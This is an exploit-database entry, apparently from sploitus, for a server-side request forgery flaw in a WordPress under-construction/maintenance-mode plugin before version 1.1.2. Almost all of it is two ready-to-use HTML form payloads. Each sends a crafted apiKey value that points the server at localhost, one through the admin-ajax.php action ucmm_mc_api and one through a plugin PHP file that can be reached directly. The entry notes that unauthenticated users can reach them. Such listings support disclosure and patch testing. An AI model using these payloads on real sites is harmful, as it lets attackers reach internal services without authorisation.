Exploit for Under Construction, Coming Soon & Maintenance Mode < 1.1.2 - Server Side Request Forgery (SSRF)

## https://sploitus.com/exploit?id=WPEX-ID:24784C84-3EFD-4166-81C1-E5A266562CFC
Via the ucmm_mc_api AJAX action, accessible to both authenticated and unauthenticated users:

<form method="post" action="https://example.com/wp-admin/admin-ajax.php">
<input type="hidden" name="action" value="ucmm_mc_api" />
<input type="text" name="apiKey" value="-localhost:8765/test/test/test?key1=val1&dummy=" />
<input type="submit" value="Submit!" />
</form>

Via direct access:

<form method="post" action="https://exmple.com/wp-content/plugins/under-construction-maintenance-mode/includes/mc-get_lists.php">
<input type="text" name="apiKey" value="-localhost:8765/test/test/test?key1=val1&dummy=" />
<input type="submit" value="Submit!" />
</form>